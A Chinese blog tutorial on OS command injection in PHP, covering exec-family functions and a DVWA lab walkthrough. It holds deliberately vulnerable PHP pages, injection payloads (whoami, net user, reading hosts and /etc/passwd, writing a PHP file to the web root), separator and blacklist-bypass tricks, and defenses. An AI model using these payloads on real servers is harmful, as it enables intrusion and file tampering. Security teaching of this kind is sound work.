【OS命令注入】常见OS命令执行函数以及OS命令注入利用实例以及靶场实验—基于DVWA靶场

已于 2022-07-01 19:24:33 修改
阅读量2.1k 收藏 20
点赞数 4
分类专栏： # 入门07 Web安全之渗透测试 文章标签： OS命令注入
于 2022-06-26 08:38:33 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/m0_64378913/article/details/124894696
版权

目录

1 OS命令注入概述

背景：程序员使用脚本语言（如PHP等）开发应用程序过程中，脚本语言开发十分快速、简洁、方便，但是也伴随着一些问题，比如速度慢、无法触及系统底层等。开发的应用时，特殊是企业级的一些应用需要去调用一些外部程序（系统命令或者exe等可执行文件），当应用需要调用一些外部程序时就会用到一些系统命令的函数。

OS命令注入：当应用在调用这些系统命令函数时，如果将用户的输入作为系统命令的参数拼接到命令中，在没有过滤用户输入的情况下，就会造成命令执行漏洞。

条件：

  • 程序中含有可以执行OS命令的函数或语言结构；
  • 传入该函数或语言结构的参数是客户端可以控制的（可以直接修改或造成影响）且没有进行足够的过滤。

漏洞危害：

  • 继承Web服务器程序权限（Web用户权限）去执行系统命令；
  • 继承Web服务器程序权限（Web用户权限）去读写文件；
  • 反弹shell。通常我们对一个开启了80端口的服务器进行访问时，就会建立起与服务器Web服务链接，从而获取到服务器相应的Web服务。而反弹shell是我们开启一个端口进行监听，转而让服务器主动反弹一个shell来连接我们的主机，我们再通过接收到的shell进而来远程控制服务器。
  • 控制整个网站 ；
  • 控制整个服务器。

2 常见OS命令注入函数及例子

2.1 system()函数

作用：该函数能够将字符串作为OS命令执行，自带输出功能。

原型：string system ( string $command [, int &$return_var ] )。

危害：如果没有对该函数的参数进行有效准确过滤，其参数将有可能被用户用于注入有害代码。

例子：

  • 在网站根目录下新建Command文件夹，并在该文件夹下新建txt文件，重命名为symtem.php，该文件的测试代码如下：
<?php
if(isset($_GET['cmd'])){
$cmd=$_GET['cmd'];
system($cmd);
}else{
    echo "Please submit cmd!<br >?cmd=ipconfig;";
}
?>
  • 在客户端我们访问该网页时带入如下参数以利用漏洞，网页将执行构造的语句返回系统信息（以下函数也是如此）。注入语句应与靶机系统相适应。
?cmd=ipconfig				//将返回IP配置信息
?cmd=cd						//查看当前目录
?cmd=systeminfo				//返回系统信息
?cmd=whoami					//
?cmd=net user				//查看或新增用户等
?cmd=dir					//将返回文件信息
?cmd=ping www.baidu.com		//执行ping命令，没结束前是不会返回结果。在Windows系统上默认ping 4次，但是在linux系统上将默认一直ping。
?cmd=type c:\windows\system32\drivers\etc\hosts	//查看系统文件
?cmd=echo"<?php phpinfo();?>">路径		//写入文件，可写入一句话木马等

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

2.2 exec()函数

作用：该函数能够将字符串作为OS命令执行，需要配合输出结果命令。

原型：string exec ( string $command [, array &$output [, int &$return_var ]] )。

危害：如果没有对该函数的参数进行有效准确过滤，其参数将有可能被用户用于注入有害代码。

例子：

  • 在网站根目录下的Command文件夹下，新建txt文件，重命名为exec.php，该文件的测试代码如下：
<?php
if(isset($_GET['cmd'])){
$cmd=$_GET['cmd'];
print exec($cmd);
}else{
    echo "Please submit cmd!<br >?cmd=ipconfig;";
}
?>
  • 在客户端我们访问该网页时带入相关参数（与system()函数代入的参数一致）以利用漏洞。注意，该函数的返回结果是有限的。
    在这里插入图片描述

2.3 shell_exec()函数

作用：该函数能够将字符串作为OS命令执行，需要配合输出结果命令。一般应用最广泛

危害：如果没有对该函数的参数进行有效准确过滤，其参数将有可能被用户用于注入有害代码。

例子：

  • 在网站根目录下的Command文件夹下，新建txt文件，重命名为shell_exec.php，该文件的测试代码如下：
 <?php
if(isset($_GET['cmd'])){
$cmd=$_GET['cmd'];
print shell_exec($cmd);
}else{
    echo "Please submit cmd!<br >?cmd=ipconfig;";
}
?>
  • 在客户端我们访问该网页时带入相关参数（与system()函数代入的参数一致）以利用漏洞。
    在这里插入图片描述

2.4 passthru()函数

作用：该函数能够将字符串作为OS命令执行，自带输出功能。

原型：void passthru ( string $command [, int &$return_var ] )

危害：如果没有对该函数的参数进行有效准确过滤，其参数将有可能被用户用于注入有害代码。

例子：

  • 在网站根目录下的Command文件夹下，新建txt文件，重命名为passthru.php，该文件的测试代码如下：
<?php
if(isset($_GET['cmd'])){
$cmd=$_GET['cmd'];
passthru($cmd);
}else{
    echo "Please submit cmd!<br >?cmd=ipconfig;";
}
?>
  • 在客户端我们访问该网页时带入相关参数（与system()函数代入的参数一致）以利用漏洞。
    在这里插入图片描述

2.5 popen()函数

作用：该函数能执行OS命令，返回的是一个文件指针。无论返回什么，我们关心的是命令被执行了。

特点：与其他函数不同的是，需要传入第二个参数作为第一个参数执行结果的存储文件。

例子：

  • 在网站根目录下的Command文件夹下，新建txt文件，重命名为popen.php，该文件的测试代码如下：
<meta charset='gb2312'>
<?php
if (isset($_GET['cmd'])){
	echo"<pre>";
	popen($_GET['cmd'],'r');
}else{
	echo"?cmd=whoami";
}
?>
  • 在客户端我们访问该网页时带入如下参数，网页将执行构造的语句并在同目录下生成文件（如已有该文件则追加内容）。
?cmd=ipconfig >>1.txt				//将返回IP配置信息
?cmd=systeminfo >>1.txt				//返回系统信息
?cmd=whoami >>1.txt					//
?cmd=net user >>1.txt				//查看或新增用户等
?cmd=dir >>1.txt					//将返回文件信息
?cmd=ping www.baidu.com >>1.txt		//执行ping命令，没结束前是不会返回结果。在Windows系统上默认ping 4次，但是在linux系统上将默认一直ping。

在这里插入图片描述

  • 访问刚刚写入的1.txt文件，内容如下，说明上述命令执行成功。

在这里插入图片描述

2.6 反引号结构

作用：反引号内[ ]的字符串也会被解析成OS命令执行，需要配合输出结果命令。

注意：

  • 反引号运算符在激活了安全模式或者关闭了 shell_exec() 时是无效的。
  • 与其它某些语言不同，反引号不能在双引号字符串中使用。

例子：

  • 在网站根目录下的Command文件夹下，新建txt文件，重命名为`.php，该文件的测试代码如下：
<?php
if(isset($_GET['cmd'])){
$cmd=$_GET['cmd'];
print `($cmd)`;
}else{
    echo "Please submit cmd!<br >?cmd=ipconfig;";
}
?>
  • 在客户端我们访问该网页时带入相关参数（与system()函数代入的参数一致）以利用漏洞。
    在这里插入图片描述

3 OS命令注入漏洞的利用

OS 命令注入漏洞，攻击者直接继承Web用户权限，在服务器上执行任意命令，危害特别大。以下命令均在windows 系统下测试成功。

3.1 查看系统文件

采用真实机访问system.php，其中提交参数?cmd=type c:\windows\system32\drivers\etc\hosts,查看系统hosts 文件。
在这里插入图片描述

3.2 显示当前路径

采用真实机访问system.php，其中提交参数?cmd=cd
在这里插入图片描述

3.3 写文件

（1）采用真实机访问system.php，其中提交参数?cmd=echo "<?php phpinfo();?>" > C:\phpStudy\PHPTutorial\WWW\Command\shell.php
在这里插入图片描述

（2）页面没有报错，访问shell.php 文件，验证文件是否写入成功
在这里插入图片描述

4 OS命令注入漏洞的防御

（1）尽量减少命令执行函数的使用，并在disable_functions中禁用（php.ini配置文件中的disable_functions设置）；
（2）在进入命令执行函数或方法前，应对参数进行过滤；
（3）参数的值尽量使用引号进行包裹，并在拼接调用前调用addslashes进行转义。
在这里插入图片描述

5 OS命令注入漏洞靶场实验

5.1 实验目的

（1）结合SQL注入、XSS漏洞、PHP语句注入等实验，加深理解注入语句的构造与绕过思路；
（2）掌握OS命令注入漏洞的检验与利用方法；
（3）加强代码审计能力。

5.2 实验环境

靶机：win2008虚拟机，部署WAMP环境，并搭建DVWA靶场。虚拟机系统安装及WAMP部署方法参考文章《【语言环境】WAMP环境部署及优化—以win2008R2SP1为操作系统》，DVWA靶场的搭建参考《【环境搭建-02】基于WAMP环境的DVWA漏洞靶场的搭建》

真实机：win10系统。

5.3 实验前准备

Windows 系例支持的多语句执行如下：

  • |：直接执行后面的语句。例如： ping 127.0.0.1|whoami。
  • ||：或，如果前面命令成功执行，那么命令结束执行；当前面的语句执行出错时，执行后面的语句。例如： ping 127.0.0.1||whoami。
  • &：如果前面的语句为假则直接执行后面的语句，前面的语句可真可假。例如： ping 127.0.0.1&whoami。
  • &&：与，如果前面的语句为假则直接出错，也不执行后面的语句，前面的语句只能为真。例如： ping 127.0.0.1&&whoami。

Linux系统支持的多语句执行如下：

  • ;：执行完前面的语句再执行后面的。例如： ping 127.0.0.1;whoami。
  • |：显示后面语句的执行结果。例如： ping 127.0.0.1|whoami。
  • ||：或，如果前面命令成功执行，那么命令结束执行；当前面的语句执行出错时，执行后面的语句。例如： ping 127.0.0.1||whoami。
  • &：如果前面的语句为假则直接执行后面的语句，前面的语句可真可假 。例如： ping 127.0.0.1&whoami。
  • &&：如果前面的语句为假则直接出错，也不执行后面的，前面的语句只能为真。例如： ping 127.0.0.1&&whoami。

5.4 实验内容

尝试对不同安全级别的OS命令注入漏洞进行渗透，同时结合其代码审计互相印证学习。

5.4.1 low级别

（1）打开DVWA靶场（登录账号默认是admin，密码是password。），并将难度级别设置为low
在这里插入图片描述

（2）当输入IP地址为127.0.0.1并点击submit时，回显内容为ping的结果。对此，我们推断该处输入参数能带入到后台执行，并回显内容，可能存在注入点。在我们参数输入位置前，应该是有ping命令。
在这里插入图片描述

（3）我们采用语句whoami对网站及后台进行无损检测，更换为其他命令可实施攻击。修改参数为127.0.0.1&&whoami（127.0.0.1是为了使前面的ping闭合，&&为与），回显结果如下，可以看到成功注入出系统信息。
在这里插入图片描述
（4）这是几个注入语句的测试结果对比，可以注入语句可能还有更多：

127.0.0.1&&whoami			//成功执行并返回ping的信息和whoami的信息
127.0.0.1&whoami			//成功执行并返回ping的信息和whoami的信息
127.0.0.1;whoami			//执行失败，从cmd运行结果看似乎分号不能分隔开两个语句
127.0.0.1|whoami			//成功执行，仅返回whoami信息。
127.0.0.1| whoami			//成功执行，仅返回whoami信息。
127.0.0.0.1||whoami			//故意输入一个错误的IP，让程序执行或运算符后面的语句。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

（5）代码审计，可以看到该网页采用了shell_exec函数，同时，参数没有任何过滤。
在这里插入图片描述

<?php
if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];
    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }
    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}
?>

5.4.2 medium级别

（1）将DVWA靶场的难度级别设置为medium
（2）在low级别的基础上，测试其可行注入语句在medium级别的运行情况。

127.0.0.1&&whoami			//执行失败，从显示错误信息判断可能是&&被过滤
127.0.0.1&whoami			//成功执行并返回ping的信息和whoami的信息
127.0.0.1|whoami			//成功执行，仅返回whoami信息。
127.0.0.1| whoami			//成功执行，仅返回whoami信息。
127.0.0.0.1||whoami			//故意输入一个错误的IP，让程序执行或运算符后面的语句。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

（3）代码审计，从其代码分析，在参数输入后对&&和;都过滤掉了。
在这里插入图片描述

<?php
if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];
    // Set blacklist
    $substitutions = array(
        '&&' => '',
        ';'  => '',
    );
    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }
    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}
?>

5.4.3 high级别

（1）将DVWA靶场的难度级别设置为high

（2）在low级别的基础上，测试其可行注入语句在medium级别的运行情况。

127.0.0.1&&whoami			//执行失败，从显示错误信息判断可能是&&被过滤
127.0.0.1&whoami			//执行失败，从显示错误信息判断可能是&被过滤
127.0.0.1|whoami			//成功执行，仅返回whoami信息。
127.0.0.1| whoami			//执行失败，从显示错误信息判断可能是| 被过滤
127.0.0.0.1||whoami			//执行失败，从显示错误信息判断可能是||被过滤

（3）代码审计，从其代码分析，在参数输入后对多种符号都过滤掉了。
在这里插入图片描述

<?php
if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = trim($_REQUEST[ 'ip' ]);
    // Set blacklist
    $substitutions = array(
        '&'  => '',
        ';'  => '',
        '| ' => '',
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',
    );
    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }
    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}
?>

5.4.4 impossible级别

（1）将DVWA靶场的难度级别设置为impossible
（2）代码审计，该级别的代码过滤原则采用的是“满足才给过”，而不是前两关的“满足黑名单就过滤”的原则，因此无法注入其他命令骗其执行。但是该代码的书写方式也限制了用户的输入，比如ping域名则无法ping通。
在这里插入图片描述

<?php
if( isset( $_POST[ 'Submit' ]  ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    // Get input
    $target = $_REQUEST[ 'ip' ];
    $target = stripslashes( $target );
    // Split the IP into 4 octects
    $octet = explode( ".", $target );
    // Check IF each octet is an integer
    if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
        // If all 4 octets are int's put the IP back together.
        $target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];
        // Determine OS and execute the ping command.
        if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
            // Windows
            $cmd = shell_exec( 'ping  ' . $target );
        }
        else {
            // *nix
            $cmd = shell_exec( 'ping  -c 4 ' . $target );
        }
        // Feedback for the end user
        echo "<pre>{$cmd}</pre>";
    }
    else {
        // Ops. Let the user name theres a mistake
        echo '<pre>ERROR: You have entered an invalid IP.</pre>';
    }
}
// Generate Anti-CSRF token
generateSessionToken();
?>

6 总结

（1）了解可能引起OS命令注入的函数；
（2）掌握这些函数的使用方法；
（3）了解常用的防御方法。
（4）了解OS命令注入的绕过思路。

像风一样9
关注
  • 4
    点赞
  • 踩
  • 20
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
sqlmap在windows上执行sql注入，利用dvwa靶场.md
05-19
分享一下自己学习sqlmap的过程，因为网上的资源很少，所以就想着写个博客记录一下，同时也分享一下吧。就先讲到这里吧，有问题的可以私信。欢迎大家提意见。
命令注入
heiseweiye的博客
10-27 5070
命令注入 命令截断 无回显 过滤与绕过 命令注入-命令截断 system(“ls $dir”); $dir=/tmp; cat /etc/passwd ;（分号将前面的命令隔断，开始一个新的命令） |（将前面的输出，当做一个管道文件传给后一个命令） &amp;amp;（把前面的一个命令放到后台执行，再执行下一个命令） %0a（可以认为输入前面的一个命令之后敲了一个回车，然后又输入了下一个命令） ``...
python执行系统命令四种方法比较
热门推荐
每天的表现，未来的必然！
06-30 7万+
一、os模块1、os.system(cmd)在子终端运行系统命令，不能获取命令执行后的返回信息以及执行返回的状态import os os.system('date') # 2016年 06月 30日 星期四 19:26:21 CST2、os.popen(cmd)不仅执行命令而且返回执行后的信息对象(常用于需要获取执行命令后的返回信息)import os nowtime = os.popen('dat
「 典型安全漏洞系列 」07.OS命令注入详解
网络安全
01-28 1135
操作系统命令注入（OS command injection）是一种Web安全漏洞，允许攻击者在运行应用程序的服务器上执行任意操作系统（OS）命令，通常会完全破坏应用程序及其所有数据。在这种攻击中，攻击者通过输入恶意代码来利用应用程序中的漏洞，从而在服务器上执行任意命令。这些命令可以包括删除文件、窃取数据、更改配置等。
php 系统命令注入漏洞,Web 安全漏洞之 OS 命令注入
weixin_30423205的博客
03-25 236
什么是 OS 命令注入上周我们分享了一篇在 Node.js 中可以使用 exec() 执行命令。以基于 tar 命令去解压文件，大致代码如下：const { exec } = require('child_process');const extractPath = path.join(think.RUNTIME_PATH, 'importMarkdownFileToFirekylin');modu...
Web 安全漏洞之 OS 命令注入
2201_75735270的博客
01-18 842
上周我们分享了一篇，其原理简单来说就是因为 SQL 是一种结构化字符串语言，攻击者利用可以随意构造语句的漏洞构造了开发者意料之外的语句。而今天要讲的 OS 命令注入其实原理和 SQL 注入是类似的，只是场景不一样而已。OS 注入攻击是指程序提供了直接执行 Shell 命令的函数的场景，当攻击者不合理使用，且开发者对用户参数未考虑安全因素的话，就会执行恶意的命令调用，被攻击者利用。在 Node.js 中可以使用exec()执行命令。以基于开发的博客系统。
burp靶场--操作系统命令注入
qq_33168924的博客
01-20 438
【代码】burp靶场--操作系统命令注入。
命令注入(OS)
ZY95001的博客
09-19 1476
一、
应用安全系列之三：OS命令行注入
jimmyleeee的专栏
02-25 987
本系列文章主旨在于介绍一些漏洞类型产生的基本原理，探索最基础的解决问题的措施，不排除有些语言或者系统提供的安全的API可以更好地更直接地解决问题，也不排除可以严格地输入验证来解决。 OS命令行注入主要是由于在执行命令时，由于使用不可信的数据来源来组装命令或者直接作为命令来执行造成的。如果程序运行时，没有遵守最少权限原则，由于攻击者可以控制执行的命令，所以，一旦被攻击者利用，就可以控制整个服务器。诸多语言中都有执行操作系统的命令的API或者类，再调用这些接口的时候，需要特别注意。 不同语言的执行操作系统的A
（八）OS命令注入
weixin_43047908的博客
04-13 1383
什么是OS命令注入？ 操作系统命令注入（也称为外壳程序注入）是一个Web安全漏洞，它使攻击者可以在运行应用程序的服务器上执行任意操作系统（OS）命令，并且通常会完全破坏该应用程序及其所有数据。通常，攻击者可以利用OS命令注入漏洞来破坏托管基础结构的其他部分，利用信任关系将攻击转移到组织内的其他系统。 执行任意命令 考虑一个购物应用程序，该应用程序使用户可以查看特定商店中某商品是否有库存。可通过以下网址访问此信息： https://insecure-website.com/stockStatus?produc
【OS命令注入】OS命令注入实验详解
cc
03-08 1734
漏洞原理 程序员使用脚本语言(比如PHP)开发应用程序过程中，脚本语言开发十分快速、简介、方便，但是也伴随着一些问题，比如说速度慢，或者无法解除系统底层，如果我们开发的应用，特别是企业级的一些应用需要去调用一些外部程序。当应用需要调用一些外部程序时，就会用到一些系统命令的函数。如PHP中的system，exec，shell_exec等，当用户可以控制命令执行函数中的参数时，将可注入恶意系统命令到正常命令中，造成命令执行攻击 也就是说命令执行即直接调用操作系统的命令。
kali2021.3安装dvwa靶场
02-24
适用人群：刚刚学习kali的爱好者 dvwa是一个入门web渗透的典型靶场，有的朋友喜欢安装到kali机里，所以我编辑了这个教程供朋友们参考，亲自验证有效的！！！
DVWA靶场环境---新手入坑
10-28
DVWA靶场环境---新手学习web安全的必备靶场之一，DVWA (Dam Vulnerable Web Application)是用PHP+Mysql编写的一套用于常规WEB漏洞教学和检测的WEB脆弱性测试程序。包含了SQL注入、XSS、盲注等常见的一些安全漏洞。
DVWA靶场环境搭建-dvwa.rar
10-15
DVWA靶场环境文件
dvwa靶场，里面也有xss靶场
09-24
我的连接数据库用户名是root，密码是123456，自己的不一样的话，在DVWA-master\config目录下config.inc.php文件内修改自己的密码。
springboot(酒店管理系统)
04-25
开发语言：Java JDK版本：JDK1.8（或11） 服务器：tomcat 数据库：mysql 5.6/5.7（或8.0） 数据库工具：Navicat 开发软件：idea 依赖管理包：Maven 代码+数据库保证完整可用，可提供远程调试并指导运行服务（额外付费）～ 如果对系统的中的某些部分感到不合适可提供修改服务，比如题目、界面、功能等等... 声明： 1.项目已经调试过，完美运行 2.需要远程帮忙部署项目，需要额外付费 3.本项目有演示视频，如果需要观看，请联系我 4.调试过程中可帮忙安装IDEA，eclipse，MySQL，JDK，Tomcat等软件 重点： 需要其他Java源码联系我，更多源码任你选，你想要的源码我都有！ 需要加v19306446185
BP神经网络matlab实例.doc
最新发布
04-25
数学模型算法
设计.zip
04-25
设计.zip
sql注入和命令注入的测试方法
07-12
SQL注入和命令注入是常见的安全漏洞，为了测试系统的安全性，可以使用以下方法进行测试： 1. SQL注入测试方法： a. 输入特殊字符：尝试在输入字段中输入特殊字符如单引号、双引号、分号等，并观察系统的响应是否异常。 b. UNION注入：尝试使用UNION语句来检查是否存在SQL注入漏洞，例如在输入字段中输入'UNION SELECT 1,2,3--'并观察系统的响应。 c. 盲注：尝试使用盲注方法进行测试，例如通过逻辑判断语句来推测数据库中的信息，如输入' OR 1=1--'并观察系统的响应。 2. 命令注入测试方法： a. 输入特殊字符：尝试在输入字段中输入特殊字符如分号、竖线、反引号等，并观察系统的响应是否异常。 b. 注入命令：尝试在输入字段中注入系统命令，例如在输入字段中输入'; ls'，如果系统执行了ls命令并返回结果，则存在命令注入漏洞。 c. 绕过过滤：如果系统对特殊字符进行了过滤，尝试使用绕过方法，如使用';${IFS}ls'绕过空格过滤。 在进行安全测试时，请务必遵守合法合规的原则，只在授权的测试环境中进行测试，避免对正式环境造成不必要的影响。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值